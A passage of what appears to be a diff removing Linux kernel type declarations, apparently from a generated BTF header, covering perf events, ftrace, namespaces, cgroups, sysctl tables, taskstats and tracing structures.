1; - __u64 write_backward: 1; - __u64 namespaces: 1; - __u64 ksymbol: 1; - __u64 bpf_event: 1; - __u64 aux_output: 1; - __u64 cgroup: 1; - __u64 text_poke: 1; - __u64 build_id: 1; - __u64 inherit_thread: 1; - __u64 remove_on_exec: 1; - __u64 sigtrap: 1; - __u64 __reserved_1: 26; - union { - __u32 wakeup_events; - __u32 wakeup_watermark; - }; - __u32 bp_type; - union { - __u64 bp_addr; - __u64 kprobe_func; - __u64 uprobe_path; - __u64 config1; - }; - union { - __u64 bp_len; - __u64 kprobe_addr; - __u64 probe_offset; - __u64 config2; - }; - __u64 branch_sample_type; - __u64 sample_regs_user; - __u32 sample_stack_user; - __s32 clockid; - __u64 sample_regs_intr; - __u32 aux_watermark; - __u16 sample_max_stack; - __u16 __reserved_2; - __u32 aux_sample_size; - __u32 __reserved_3; - __u64 sig_data; -}; - -struct hw_perf_event_extra { - u64 config; - unsigned int reg; - int alloc; - int idx; -}; - -struct arch_hw_breakpoint { - long unsigned int address; - long unsigned int mask; - u8 len; - u8 type; -}; - -struct rhash_head { - struct rhash_head *next; -}; - -struct rhlist_head { - struct rhash_head rhead; - struct rhlist_head *next; -}; - -struct hw_perf_event { - union { - struct { - u64 config; - u64 last_tag; - long unsigned int config_base; - long unsigned int event_base; - int event_base_rdpmc; - int idx; - int last_cpu; - int flags; - struct hw_perf_event_extra extra_reg; - struct hw_perf_event_extra branch_reg; - }; - struct { - struct hrtimer hrtimer; - }; - struct { - struct list_head tp_list; - }; - struct { - u64 pwr_acc; - u64 ptsc; - }; - struct { - struct arch_hw_breakpoint info; - struct rhlist_head bp_list; - }; - struct { - u8 iommu_bank; - u8 iommu_cntr; - u16 padding; - u64 conf; - u64 conf1; - }; - }; - struct task_struct *target; - void *addr_filters; - long unsigned int addr_filters_gen; - int state; - local64_t prev_count; - u64 sample_period; - union { - struct { - u64 last_period; - local64_t period_left; - }; - struct { - u64 saved_metric; - u64 saved_slots; - }; - }; - u64 interrupts_seq; - u64 interrupts; - u64 freq_time_stamp; - u64 freq_count_stamp; -}; - -struct irq_work { - struct __call_single_node node; - void (*func)(struct irq_work *); - struct rcuwait irqwait; -}; - -struct perf_addr_filters_head { - struct list_head list; - raw_spinlock_t lock; - unsigned int nr_file_filters; -}; - -struct perf_sample_data; - -typedef void (*perf_overflow_handler_t)(struct perf_event *, struct perf_sample_data *, struct pt_regs *); - -struct ftrace_ops; - -struct ftrace_regs; - -typedef void (*ftrace_func_t)(long unsigned int, long unsigned int, struct ftrace_ops *, struct ftrace_regs *); - -struct ftrace_hash; - -struct ftrace_ops_hash { - struct ftrace_hash *notrace_hash; - struct ftrace_hash *filter_hash; - struct mutex regex_lock; -}; - -enum ftrace_ops_cmd { - FTRACE_OPS_CMD_ENABLE_SHARE_IPMODIFY_SELF = 0, - FTRACE_OPS_CMD_ENABLE_SHARE_IPMODIFY_PEER = 1, - FTRACE_OPS_CMD_DISABLE_SHARE_IPMODIFY_PEER = 2, -}; - -typedef int (*ftrace_ops_func_t)(struct ftrace_ops *, enum ftrace_ops_cmd); - -struct ftrace_ops { - ftrace_func_t func; - struct ftrace_ops *next; - long unsigned int flags; - void *private; - ftrace_func_t saved_func; - struct ftrace_ops_hash local_hash; - struct ftrace_ops_hash *func_hash; - struct ftrace_ops_hash old_hash; - long unsigned int trampoline; - long unsigned int trampoline_size; - struct list_head list; - ftrace_ops_func_t ops_func; -}; - -struct pmu; - -struct perf_buffer; - -struct perf_addr_filter_range; - -struct bpf_prog; - -struct event_filter; - -struct perf_cgroup; - -struct perf_event { - struct list_head event_entry; - struct list_head sibling_list; - struct list_head active_list; - struct rb_node group_node; - u64 group_index; - struct list_head migrate_entry; - struct hlist_node hlist_entry; - struct list_head active_entry; - int nr_siblings; - int event_caps; - int group_caps; - struct perf_event *group_leader; - struct pmu *pmu; - void *pmu_private; - enum perf_event_state state; - unsigned int attach_state; - local64_t count; - atomic64_t child_count; - u64 total_time_enabled; - u64 total_time_running; - u64 tstamp; - struct perf_event_attr attr; - u16 header_size; - u16 id_header_size; - u16 read_size; - struct hw_perf_event hw; - struct perf_event_context *ctx; - atomic_long_t refcount; - atomic64_t child_total_time_enabled; - atomic64_t child_total_time_running; - struct mutex child_mutex; - struct list_head child_list; - struct perf_event *parent; - int oncpu; - int cpu; - struct list_head owner_entry; - struct task_struct *owner; - struct mutex mmap_mutex; - atomic_t mmap_count; - struct perf_buffer *rb; - struct list_head rb_entry; - long unsigned int rcu_batches; - int rcu_pending; - wait_queue_head_t waitq; - struct fasync_struct *fasync; - unsigned int pending_wakeup; - unsigned int pending_kill; - unsigned int pending_disable; - unsigned int pending_sigtrap; - long unsigned int pending_addr; - struct irq_work pending_irq; - struct callback_head pending_task; - unsigned int pending_work; - atomic_t event_limit; - struct perf_addr_filters_head addr_filters; - struct perf_addr_filter_range *addr_filter_ranges; - long unsigned int addr_filters_gen; - struct perf_event *aux_event; - void (*destroy)(struct perf_event *); - struct callback_head callback_head; - struct pid_namespace *ns; - u64 id; - atomic64_t lost_samples; - u64 (*clock)(); - perf_overflow_handler_t overflow_handler; - void *overflow_handler_context; - perf_overflow_handler_t orig_overflow_handler; - struct bpf_prog *prog; - u64 bpf_cookie; - struct trace_event_call *tp_event; - struct event_filter *filter; - struct ftrace_ops ftrace_ops; - struct perf_cgroup *cgrp; - void *security; - struct list_head sb_list; -}; - -struct idr { - struct xarray idr_rt; - unsigned int idr_base; - unsigned int idr_next; -}; - -struct proc_ns_operations; - -struct ns_common { - atomic_long_t stashed; - const struct proc_ns_operations *ops; - unsigned int inum; - refcount_t count; -}; - -struct kmem_cache; - -struct fs_pin; - -struct pid_namespace { - struct idr idr; - struct callback_head rcu; - unsigned int pid_allocated; - struct task_struct *child_reaper; - struct kmem_cache *pid_cachep; - unsigned int level; - struct pid_namespace *parent; - struct fs_pin *bacct; - struct user_namespace *user_ns; - struct ucounts *ucounts; - int reboot; - struct ns_common ns; -}; - -struct uid_gid_extent { - u32 first; - u32 lower_first; - u32 count; -}; - -struct uid_gid_map { - u32 nr_extents; - union { - struct uid_gid_extent extent[5]; - struct { - struct uid_gid_extent *forward; - struct uid_gid_extent *reverse; - }; - }; -}; - -struct ctl_table; - -struct ctl_table_root; - -struct ctl_table_set; - -struct ctl_dir; - -struct ctl_node; - -struct ctl_table_header { - union { - struct { - struct ctl_table *ctl_table; - int used; - int count; - int nreg; - }; - struct callback_head rcu; - }; - struct completion *unregistering; - struct ctl_table *ctl_table_arg; - struct ctl_table_root *root; - struct ctl_table_set *set; - struct ctl_dir *parent; - struct ctl_node *node; - struct hlist_head inodes; -}; - -struct ctl_dir { - struct ctl_table_header header; - struct rb_root root; -}; - -struct ctl_table_set { - int (*is_seen)(struct ctl_table_set *); - struct ctl_dir dir; -}; - -struct user_namespace { - struct uid_gid_map uid_map; - struct uid_gid_map gid_map; - struct uid_gid_map projid_map; - struct user_namespace *parent; - int level; - kuid_t owner; - kgid_t group; - struct ns_common ns; - long unsigned int flags; - bool parent_could_setfcap; - struct list_head keyring_name_list; - struct key *user_keyring_register; - struct rw_semaphore keyring_sem; - struct work_struct work; - struct ctl_table_set set; - struct ctl_table_header *sysctls; - struct ucounts *ucounts; - long int ucount_max[10]; - long int rlimit_max[4]; -}; - -struct rcu_work { - struct work_struct work; - struct callback_head rcu; - struct workqueue_struct *wq; -}; - -struct task_cputime { - u64 stime; - u64 utime; - long long unsigned int sum_exec_runtime; -}; - -struct ucounts { - struct hlist_node node; - struct user_namespace *ns; - kuid_t uid; - atomic_t count; - atomic_long_t ucount[10]; - atomic_long_t rlimit[4]; -}; - -struct uts_namespace; - -struct ipc_namespace; - -struct mnt_namespace; - -struct net; - -struct time_namespace; - -struct cgroup_namespace; - -struct nsproxy { - atomic_t count; - struct uts_namespace *uts_ns; - struct ipc_namespace *ipc_ns; - struct mnt_namespace *mnt_ns; - struct pid_namespace *pid_ns_for_children; - struct net *net_ns; - struct time_namespace *time_ns; - struct time_namespace *time_ns_for_children; - struct cgroup_namespace *cgroup_ns; -}; - -struct cgroup_subsys_state; - -struct cgroup; - -struct css_set { - struct cgroup_subsys_state *subsys[10]; - refcount_t refcount; - struct css_set *dom_cset; - struct cgroup *dfl_cgrp; - int nr_tasks; - struct list_head tasks; - struct list_head mg_tasks; - struct list_head dying_tasks; - struct list_head task_iters; - struct list_head e_cset_node[10]; - struct list_head threaded_csets; - struct list_head threaded_csets_node; - struct hlist_node hlist; - struct list_head cgrp_links; - struct list_head mg_src_preload_node; - struct list_head mg_dst_preload_node; - struct list_head mg_node; - struct cgroup *mg_src_cgrp; - struct cgroup *mg_dst_cgrp; - struct css_set *mg_dst_cset; - bool dead; - struct callback_head callback_head; -}; - -struct perf_event_groups { - struct rb_root tree; - u64 index; -}; - -struct perf_event_context { - struct pmu *pmu; - raw_spinlock_t lock; - struct mutex mutex; - struct list_head active_ctx_list; - struct perf_event_groups pinned_groups; - struct perf_event_groups flexible_groups; - struct list_head event_list; - struct list_head pinned_active; - struct list_head flexible_active; - int nr_events; - int nr_active; - int nr_user; - int is_active; - int nr_stat; - int nr_freq; - int rotate_disable; - int rotate_necessary; - refcount_t refcount; - struct task_struct *task; - u64 time; - u64 timestamp; - u64 timeoffset; - struct perf_event_context *parent_ctx; - u64 parent_gen; - u64 generation; - int pin_count; - int nr_cgroups; - void *task_ctx_data; - struct callback_head callback_head; - local_t nr_pending; -}; - -struct ftrace_ret_stack { - long unsigned int ret; - long unsigned int func; - long long unsigned int calltime; - long unsigned int *retp; -}; - -struct cgroup_subsys; - -struct cgroup_subsys_state { - struct cgroup *cgroup; - struct cgroup_subsys *ss; - struct percpu_ref refcnt; - struct list_head sibling; - struct list_head children; - struct list_head rstat_css_node; - int id; - unsigned int flags; - u64 serial_nr; - atomic_t online_cnt; - struct work_struct destroy_work; - struct rcu_work destroy_rwork; - struct cgroup_subsys_state *parent; -}; - -struct cgroup_file { - struct kernfs_node *kn; - long unsigned int notified_at; - struct timer_list notify_timer; -}; - -struct cgroup_base_stat { - struct task_cputime cputime; -}; - -struct bpf_prog_array; - -struct cgroup_bpf { - struct bpf_prog_array *effective[33]; - struct hlist_head progs[33]; - u8 flags[33]; - struct list_head storages; - struct bpf_prog_array *inactive; - struct percpu_ref refcnt; - struct work_struct release_work; -}; - -struct cgroup_freezer_state { - bool freeze; - int e_freeze; - int nr_frozen_descendants; - int nr_frozen_tasks; -}; - -struct cgroup_root; - -struct cgroup_rstat_cpu; - -struct psi_group; - -struct cgroup { - struct cgroup_subsys_state self; - long unsigned int flags; - int level; - int max_depth; - int nr_descendants; - int nr_dying_descendants; - int max_descendants; - int nr_populated_csets; - int nr_populated_domain_children; - int nr_populated_threaded_children; - int nr_threaded_children; - struct kernfs_node *kn; - struct cgroup_file procs_file; - struct cgroup_file events_file; - struct cgroup_file psi_files[0]; - u16 subtree_control; - u16 subtree_ss_mask; - u16 old_subtree_control; - u16 old_subtree_ss_mask; - struct cgroup_subsys_state *subsys[10]; - struct cgroup_root *root; - struct list_head cset_links; - struct list_head e_csets[10]; - struct cgroup *dom_cgrp; - struct cgroup *old_dom_cgrp; - struct cgroup_rstat_cpu *rstat_cpu; - struct list_head rstat_css_list; - struct cgroup_base_stat last_bstat; - struct cgroup_base_stat bstat; - struct prev_cputime prev_cputime; - struct list_head pidlists; - struct mutex pidlist_mutex; - wait_queue_head_t offline_waitq; - struct work_struct release_agent_work; - struct psi_group *psi; - struct cgroup_bpf bpf; - atomic_t congestion_count; - struct cgroup_freezer_state freezer; - struct bpf_local_storage *bpf_cgrp_storage; - struct cgroup *ancestors[0]; -}; - -typedef int proc_handler(struct ctl_table *, int, void *, size_t *, loff_t *); - -struct ctl_table_poll; - -struct ctl_table { - const char *procname; - void *data; - int maxlen; - umode_t mode; - struct ctl_table *child; - proc_handler *proc_handler; - struct ctl_table_poll *poll; - void *extra1; - void *extra2; -}; - -struct ctl_table_poll { - atomic_t event; - wait_queue_head_t wait; -}; - -struct ctl_node { - struct rb_node node; - struct ctl_table_header *header; -}; - -struct ctl_table_root { - struct ctl_table_set default_set; - struct ctl_table_set * (*lookup)(struct ctl_table_root *); - void (*set_ownership)(struct ctl_table_header *, struct ctl_table *, kuid_t *, kgid_t *); - int (*permissions)(struct ctl_table_header *, struct ctl_table *); -}; - -struct taskstats { - __u16 version; - __u32 ac_exitcode; - __u8 ac_flag; - __u8 ac_nice; - __u64 cpu_count; - __u64 cpu_delay_total; - __u64 blkio_count; - __u64 blkio_delay_total; - __u64 swapin_count; - __u64 swapin_delay_total; - __u64 cpu_run_real_total; - __u64 cpu_run_virtual_total; - char ac_comm[32]; - __u8 ac_sched; - __u8 ac_pad[3]; - long: 0; - __u32 ac_uid; - __u32 ac_gid; - __u32 ac_pid; - __u32 ac_ppid; - __u32 ac_btime; - __u64 ac_etime; - __u64 ac_utime; - __u64 ac_stime; - __u64 ac_minflt; - __u64 ac_majflt; - __u64 coremem; - __u64 virtmem; - __u64 hiwater_rss; - __u64 hiwater_vm; - __u64 read_char; - __u64 write_char; - __u64 read_syscalls; - __u64 write_syscalls; - __u64 read_bytes; - __u64 write_bytes; - __u64 cancelled_write_bytes; - __u64 nvcsw; - __u64 nivcsw; - __u64 ac_utimescaled; - __u64 ac_stimescaled; - __u64 cpu_scaled_run_real_total; - __u64 freepages_count; - __u64 freepages_delay_total; - __u64 thrashing_count; - __u64 thrashing_delay_total; - __u64 ac_btime64; - __u64 compact_count; - __u64 compact_delay_total; - __u32 ac_tgid; - __u64 ac_tgetime; - __u64 ac_exe_dev; - __u64 ac_exe_inode; - __u64 wpcopy_count; - __u64 wpcopy_delay_total; -}; - -typedef void (*poll_queue_proc)(struct file *, wait_queue_head_t *, struct poll_table_struct *); - -struct poll_table_struct { - poll_queue_proc _qproc; - __poll_t _key; -}; - -struct seq_file { - char *buf; - size_t size; - size_t from; - size_t count; - size_t pad_until; - loff_t index; - loff_t read_pos; - struct mutex lock; - const struct seq_operations *op; - int poll_event; - const struct file *file; - void *private; -}; - -struct trace_event_functions; - -struct trace_event { - struct hlist_node node; - struct list_head list; - int type; - struct trace_event_functions *funcs; -}; - -struct trace_event_class; - -struct trace_event_call { - struct list_head list; - struct trace_event_class *class; - union { - char *name; - struct tracepoint *tp; - }; - struct trace_event event; - char *print_fmt; - struct event_filter *filter; - union { - void *module; - atomic_t refcnt; - }; - void *data; - int flags; - int perf_refcount; - struct hlist_head *perf_events; - struct bpf_prog_array *prog_array; - int (*perf_perm)(struct trace_event_call *, struct perf_event *); -}; - -struct cgroup_namespace { - struct ns_common ns; - struct user_namespace *user_ns; - struct ucounts *ucounts; - struct css_set *root_cset; -}; - -struct nsset; - -struct proc_ns_operations { - const char *name; - const char *real_ns_name; - int type; - struct ns_common * (*get)(struct task_struct *); - void (*put)(struct ns_common *); - int (*install)(struct nsset *, struct ns_common *); - struct user_namespace * (*owner)(struct ns_common *); - struct ns_common * (*get_parent)(struct ns_common *); -}; - -struct ftrace_regs { - struct pt_regs regs; -}; - -struct ftrace_hash { - long unsigned int size_bits; - struct hlist_head *buckets; - long unsigned int count; - long unsigned int flags; - struct callback_head rcu; -}; - -struct seq_buf { - char *buffer; - size_t size; - size_t len; - loff_t readpos; -}; - -struct trace_seq { - char buffer[4096]; - struct seq_buf seq; - int full; -}; - -enum perf_sw_ids { - PERF_COUNT_SW_CPU_CLOCK = 0, - PERF_COUNT_SW_TASK_CLOCK = 1, - PERF_COUNT_SW_PAGE_FAULTS = 2, - PERF_COUNT_SW_CONTEXT_SWITCHES = 3, - PERF_COUNT_SW_CPU_MIGRATIONS = 4, - PERF_COUNT_SW_PAGE_FAULTS_MIN = 5, - PERF_COUNT_SW_PAGE_FAULTS_MAJ = 6, - PERF_COUNT_SW_ALIGNMENT_FAULTS = 7, - PERF_COUNT_SW_EMULATION_FAULTS = 8, - PERF_COUNT_SW_DUMMY = 9, - PERF_COUNT_SW_BPF_OUTPUT = 10, - PERF_COUNT_SW_CGROUP_SWITCHES = 11, - PERF_COUNT_SW_MAX = 12, -}; - -union perf_mem_data_src { - __u64 val; - struct { - __u64 mem_op: 5; - __u64 mem_lvl: 14; - __u64 mem_snoop: 5; - __u64 mem_lock: 2; - __u64 mem_dtlb: 7; - __u64 mem_lvl_num: 4; - __u64 mem_remote: 1; - __u64 mem_snoopx: 2; - __u64 mem_blk: 3; - __u64 mem_hops: 3; - __u64 mem_rsvd: 18; - }; -}; - -struct perf_branch_entry { - __u64 from; - __u64 to; - __u64 mispred: 1; - __u64 predicted: 1; - __u64 in_tx: 1; - __u64 abort: 1; - __u64 cycles: 16; - __u64 type: 4; - __u64 spec: 2; - __u64 new_type: 4; - __u64 priv: 3; - __u64 reserved: 31; -}; - -union perf_sample_weight { - __u64 full; - struct { - __u32 var1_dw; - __u16 var2_w; - __u16 var3_w; - }; -}; - -typedef u32 phandle; - -struct property; - -struct device_node { - const char *name; - phandle phandle; - const char *full_name; - struct fwnode_handle fwnode; - struct property *properties; - struct property *deadprops; - struct device_node *parent; - struct device_node *child; - struct device_node *sibling; - long unsigned int _flags; - void *data; -}; - -struct perf_cpu_context; - -struct perf_output_handle; - -struct pmu { - struct list_head entry; - struct module *module; - struct device *dev; - const struct attribute_group **attr_groups; - const struct attribute_group **attr_update; - const char *name; - int type; - int capabilities; - int *pmu_disable_count; - struct perf_cpu_context *pmu_cpu_context; - atomic_t exclusive_cnt; - int task_ctx_nr; - int hrtimer_interval_ms; - unsigned int nr_addr_filters; - void (*pmu_enable)(struct pmu *); - void (*pmu_disable)(struct pmu *); - int (*event_init)(struct perf_event *); - void (*event_mapped)(struct perf_event *, struct mm_struct *); - void (*event_unmapped)(struct perf_event *, struct mm_struct *); - int (*add)(struct perf_event *, int); - void (*del)(struct perf_event *, int); - void (*start)(struct perf_event *, int); - void (*stop)(struct perf_event *, int); - void (*read)(struct perf_event *); - void (*start_txn)(struct pmu *, unsigned int); - int (*commit_txn)(struct pmu *); - void (*cancel_txn)(struct pmu *); - int (*event_idx)(struct perf_event *); - void (*sched_task)(struct perf_event_context *, bool); - struct kmem_cache *task_ctx_cache; - void (*swap_task_ctx)(struct perf_event_context *, struct perf_event_context *); - void * (*setup_aux)(struct perf_event *, void **, int, bool); - void (*free_aux)(void *); - long int (*snapshot_aux)(struct perf_event *, struct perf_output_handle *, long unsigned int); - int (*addr_filters_validate)(struct list_head *); - void (*addr_filters_sync)(struct perf_event *); - int (*aux_output_match)(struct perf_event *); - int (*filter_match)(struct perf_event *); - int (*check_period)(struct perf_event *, u64); -}; - -struct perf_regs { - __u64 abi; - struct pt_regs *regs; -}; - -struct u64_stats_sync {}; - -struct psi_group {}; - -struct cgroup_taskset; - -struct cftype; - -struct cgroup_subsys { - struct cgroup_subsys_state * (*css_alloc)(struct cgroup_subsys_state *); - int (*css_online)(struct cgroup_subsys_state *); - void (*css_offline)(struct cgroup_subsys_state *); - void (*css_released)(struct cgroup_subsys_state *); - void (*css_free)(struct cgroup_subsys_state *); - void (*css_reset)(struct cgroup_subsys_state *); - void (*css_rstat_flush)(struct cgroup_subsys_state *, int); - int (*css_extra_stat_show)(struct seq_file *, struct cgroup_subsys_state *); - int (*can_attach)(struct cgroup_taskset *); - void (*cancel_attach)(struct cgroup_taskset *); - void (*attach)(struct cgroup_taskset *); - void (*post_attach)(); - int (*can_fork)(struct task_struct *, struct css_set *); - void (*cancel_fork)(struct task_struct *, struct css_set *); - void (*fork)(struct task_struct *); - void (*exit)(struct task_struct *); - void (*release)(struct task_struct *); - void (*bind)(struct cgroup_subsys_state *); - bool early_init: 1; - bool implicit_on_dfl: 1; - bool threaded: 1; - int id; - const char *name; - const char *legacy_name; - struct cgroup_root *root; - struct idr css_idr; - struct list_head cfts; - struct cftype *dfl_cftypes; - struct cftype *legacy_cftypes; - unsigned int depends_on; -}; - -struct cgroup_rstat_cpu { - struct u64_stats_sync bsync; - struct cgroup_base_stat bstat; - struct cgroup_base_stat last_bstat; - struct cgroup *updated_children; - struct cgroup *updated_next; -}; - -struct cgroup_root { - struct kernfs_root *kf_root; - unsigned int subsys_mask; - int hierarchy_id; - struct cgroup cgrp; - struct cgroup *cgrp_ancestor_storage; - atomic_t nr_cgrps; - struct list_head root_list; - unsigned int flags; - char release_agent_path[4096]; - char name[64]; -}; - -struct cftype { - char name[64]; - long unsigned int private; - size_t max_write_len; - unsigned int flags; - unsigned int file_offset; - struct cgroup_subsys *ss; - struct list_head node; - struct kernfs_ops *kf_ops; - int (*open)(struct kernfs_open_file *); - void (*release)(struct kernfs_open_file *); - u64 (*read_u64)(struct cgroup_subsys_state *, struct cftype *); - s64 (*read_s64)(struct cgroup_subsys_state *, struct cftype *); - int (*seq_show)(struct seq_file *, void *); - void * (*seq_start)(struct seq_file *, loff_t *); - void * (*seq_next)(struct seq_file *, void *, loff_t *); - void (*seq_stop)(struct seq_file *, void *); - int (*write_u64)(struct cgroup_subsys_state *, struct cftype *, u64); - int (*write_s64)(struct cgroup_subsys_state *, struct cftype *, s64); - ssize_t (*write)(struct kernfs_open_file *, char *, size_t, loff_t); - __poll_t (*poll)(struct kernfs_open_file *, struct poll_table_struct *); - struct lock_class_key lockdep_key; -}; - -struct perf_callchain_entry { - __u64 nr; - __u64 ip[0]; -}; - -typedef long unsigned int (*perf_copy_f)(void *, const void *, long unsigned int, long unsigned int); - -struct perf_raw_frag { - union { - struct perf_raw_frag *next; - long unsigned int pad; - }; - perf_copy_f copy; - void *data; - u32 size; -} __attribute__((packed)); - -struct perf_raw_record { - struct perf_raw_frag frag; - u32 size; -}; - -struct perf_branch_stack { - __u64 nr; - __u64 hw_idx; - struct perf_branch_entry entries[0]; -}; - -struct perf_cpu_context { - struct perf_event_context ctx; - struct perf_event_context *task_ctx; - int active_oncpu; - int exclusive; - raw_spinlock_t hrtimer_lock; - struct hrtimer hrtimer; - ktime_t hrtimer_interval; - unsigned int hrtimer_active; - struct perf_cgroup *cgrp; - struct list_head cgrp_cpuctx_entry; - struct list_head sched_cb_entry; - int sched_cb_usage; - int online; - int heap_size; - struct perf_event **heap; - struct perf_event *heap_default[2]; -}; - -struct perf_output_handle { - struct perf_event *event; - struct perf_buffer *rb; - long unsigned int wakeup; - long unsigned int size; - u64 aux_flags; - union { - void *addr; - long unsigned int head; - }; - int page; -}; - -struct perf_addr_filter_range { - long unsigned int start; - long unsigned int size; -}; - -struct perf_sample_data { - u64 sample_flags; - u64 period; - struct perf_branch_stack *br_stack; - union perf_sample_weight weight; - union perf_mem_data_src data_src; - u64 txn; - u64 addr; - struct perf_raw_record *raw; - u64 type; - u64 ip; - struct { - u32 pid; - u32 tid; - } tid_entry; - u64 time; - u64 id; - u64 stream_id; - struct { - u32 cpu; - u32 reserved; - } cpu_entry; - struct perf_callchain_entry *callchain; - u64 aux_size; - struct perf_regs regs_user; - struct perf_regs regs_intr; - u64 stack_user_size; - u64 phys_addr; - u64 cgroup; - u64 data_page_size; - u64 code_page_size; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct prog_entry; - -struct event_filter { - struct prog_entry *prog; - char *filter_string; -}; - -struct perf_cgroup_info; - -struct perf_cgroup { - struct cgroup_subsys_state css; - struct perf_cgroup_info *info; -}; - -struct perf_cgroup_info { - u64 time; - u64 timestamp; - u64 timeoffset; - int active; -}; - -struct trace_entry { - short unsigned int type; - unsigned char flags; - unsigned char preempt_count; - int pid; -}; - -struct trace_array; - -struct tracer; - -struct array_buffer; - -struct ring_buffer_iter; - -struct trace_iterator { - struct trace_array *tr; - struct tracer *trace; - struct array_buffer *array_buffer; - void *private; - int cpu_file; - struct mutex mutex; - struct ring_buffer_iter **buffer_iter; - long unsigned int iter_flags; - void *temp; - unsigned int temp_size; - char *fmt; - unsigned int fmt_size; - long int wait_index; - struct trace_seq tmp_seq; - cpumask_var_t started; - bool snapshot; - struct trace_seq seq; - struct trace_entry *ent; - long unsigned int lost_events; - int leftover; - int ent_size; - int cpu; - u64 ts; - loff_t pos; - long int idx; -}; - -struct trace_buffer; - -struct trace_array_cpu; - -struct array_buffer { - struct trace_array *tr; - struct trace_buffer *buffer; - struct trace_array_cpu *data; - u64 time_start; - int cpu; -}; - -struct trace_pid_list; - -struct trace_event_file; - -struct trace_options; - -struct trace_func_repeats; - -struct trace_array { - struct list_head list; - char *name; - struct array_buffer array_buffer; - struct trace_pid_list *filtered_pids; - struct trace_pid_list *filtered_no_pids; - arch_spinlock_t max_lock; - int buffer_disabled; - int sys_refcount_enter; - int sys_refcount_exit; - struct trace_event_file *enter_syscall_files[451]; - struct trace_event_file *exit_syscall_files[451]; - int stop_count; - int clock_id; - int nr_topts; - bool clear_trace; - int buffer_percent; - unsigned int n_err_log_entries; - struct tracer *current_trace; - unsigned int trace_flags; - unsigned char trace_flags_index[32]; - unsigned int flags; - raw_spinlock_t start_lock; - struct list_head err_log; - struct dentry *dir; - struct dentry *options; - struct dentry *percpu_dir; - struct dentry *event_dir; - struct trace_options *topts; - struct list_head systems; - struct list_head events; - struct trace_event_file *trace_marker_file; - cpumask_var_t tracing_cpumask; - int ref; - int trace_ref; - struct ftrace_ops *ops; - struct trace_pid_list *function_pids; - struct trace_pid_list *function_no_pids; - struct list_head func_probes; - struct list_head mod_trace; - struct list_head mod_notrace; - int function_enabled; - int no_filter_buffering_ref; - struct list_head hist_vars; - struct trace_func_repeats *last_func_repeats; -}; - -enum print_line_t { - TRACE_TYPE_PARTIAL_LINE = 0, - TRACE_TYPE_HANDLED = 1, - TRACE_TYPE_UNHANDLED = 2, - TRACE_TYPE_NO_CONSUME = 3, -}; - -struct tracer_flags; - -struct tracer { - const char *name; - int (*init)(struct trace_array *); - void (*reset)(struct trace_array *); - void (*start)(struct trace_array *); - void (*stop)(struct trace_array *); - int (*update_thresh)(struct trace_array *); - void (*open)(struct trace_iterator *); - void (*pipe_open)(struct trace_iterator *); - void (*close)(struct trace_iterator *); - void (*pipe_close)(struct trace_iterator *); - ssize_t (*read)(struct trace_iterator *, struct file *, char *, size_t, loff_t *); - ssize_t (*splice_read)(struct trace_iterator *, struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); - void (*print_header)(struct seq_file *); - enum print_line_t (*print_line)(struct trace_iterator *); - int (*set_flag)(struct trace_array *, u32, u32, int); - int (*flag_changed)(struct trace_array *, u32, int); - struct tracer *next; - struct tracer_flags *flags; - int enabled; - bool print_max; - bool allow_instances; - bool noboot; -}; - -typedef enum print_line_t (*trace_print_func)(struct trace_iterator *, int, struct trace_event *); - -struct trace_event_functions { - trace_print_func trace; - trace_print_func raw; - trace_print_func hex; - trace_print_func binary; -}; - -enum trace_reg { - TRACE_REG_REGISTER = 0, - TRACE_REG_UNREGISTER = 1, - TRACE_REG_PERF_REGISTER = 2, - TRACE_REG_PERF_UNREGISTER = 3, - TRACE_REG_PERF_OPEN = 4, - TRACE_REG_PERF_CLOSE = 5, - TRACE_REG_PERF_ADD = 6, - TRACE_REG_PERF_DEL = 7, -}; - -struct trace_event_fields { - const char *type; - union { - struct { - const char *name; - const int size; - const int align; - const int is_signed; - const int filter_type; - }; - int (*define_fields)(struct trace_event_call *); - }; -}; - -struct trace_event_class { - const char *system; - void *probe; - void *perf_probe; - int (*reg)(struct trace_event_call *, enum trace_reg, void *); - struct trace_event_fields *fields_array; - struct list_head * (*get_fields)(struct trace_event_call *); - struct list_head fields; - int (*raw_init)(struct trace_event_call *); -}; - -struct trace_subsystem_dir; - -struct trace_event_file { - struct list_head list; - struct trace_event_call *event_call; - struct event_filter *filter; - struct dentry *dir; - struct trace_array *tr; - struct trace_subsystem_dir *system; - struct list_head triggers; - long unsigned int flags; - atomic_t sm_ref; - atomic_t tm_ref; -}; - -enum { - TRACE_EVENT_FL_FILTERED_BIT = 0, - TRACE_EVENT_FL_CAP_ANY_BIT = 1, - TRACE_EVENT_FL_NO_SET_FILTER_BIT = 2, - TRACE_EVENT_FL_IGNORE_ENABLE_BIT = 3, - TRACE_EVENT_FL_TRACEPOINT_BIT = 4, - TRACE_EVENT_FL_DYNAMIC_BIT = 5, - TRACE_EVENT_FL_KPROBE_BIT = 6, - TRACE_EVENT_FL_UPROBE_BIT = 7, - TRACE_EVENT_FL_EPROBE_BIT = 8, - TRACE_EVENT_FL_CUSTOM_BIT = 9, -}; - -enum { - EVENT_FILE_FL_ENABLED_BIT = 0, - EVENT_FILE_FL_RECORDED_CMD_BIT = 1, - EVENT_FILE_FL_RECORDED_TGID_BIT = 2, - EVENT_FILE_FL_FILTERED_BIT = 3, - EVENT_FILE_FL_NO_SET_FILTER_BIT = 4, - EVENT_FILE_FL_SOFT_MODE_BIT = 5, - EVENT_FILE_FL_SOFT_DISABLED_BIT = 6, - EVENT_FILE_FL_TRIGGER_MODE_BIT = 7, - EVENT_FILE_FL_TRIGGER_COND_BIT = 8, - EVENT_FILE_FL_PID_FILTER_BIT = 9, - EVENT_FILE_FL_WAS_ENABLED_BIT = 10, -}; - -enum dynevent_type { - DYNEVENT_TYPE_SYNTH = 1, - DYNEVENT_TYPE_KPROBE = 2, - DYNEVENT_TYPE_NONE = 3, -}; - -struct dynevent_cmd; - -typedef int (*dynevent_create_fn_t)(struct dynevent_cmd *); - -struct dynevent_cmd { - struct seq_buf seq; - const char *event_name; - unsigned int n_fields; - enum dynevent_type type; - dynevent_create_fn_t run_command; - void *private_data; -}; - -struct event_subsystem; - -struct trace_subsystem_dir { - struct list_head list; - struct event_subsystem *subsystem; - struct trace_array *tr; - struct dentry *entry; - int ref_count; - int nr_events; -}; - -struct property { - char *name; - int length; - void *value; - struct property *next; -}; - -union lower_chunk { - union lower_chunk *next; - long unsigned int data[256]; -}; - -union upper_chunk { - union upper_chunk *next; - union lower_chunk *data[256]; -}; - 